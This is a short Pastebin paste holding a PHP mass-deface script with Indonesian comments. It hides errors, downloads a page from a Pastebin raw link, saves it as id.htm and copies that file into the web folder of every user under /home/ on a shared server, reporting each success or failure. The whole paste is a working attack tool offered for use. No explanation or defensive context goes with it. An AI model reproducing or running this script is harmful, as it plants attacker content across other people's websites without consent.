Advertisement
Guest User

Untitled

a guest
Mar 30th, 2020
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.50 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. $root = '/home/';
  5. $scan = scandir($root);
  6.  
  7. $nama = 'id.htm'; // ganti nama file
  8. $isi = file_get_contents('https://pastebin.com/raw/YQ4Ss2JY'); // ganti link pastebin scriptmu
  9.  
  10. $bikin = fopen($nama, "w");
  11. fwrite($bikin, $isi);
  12. fclose($bikin);
  13.  
  14. foreach ( $scan as $a ) {
  15. $dir = "$a \n";
  16. $gas = $root.'/'.$a.'/web/'.$nama;
  17. $cos = "$gas \n";
  18. $sultan = @copy($nama, $gas);
  19. if($sultan) {
  20. print 'Done! => '.$cos; }
  21. else { print 'Failed! => '.$dir; }
  22. }
  23. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement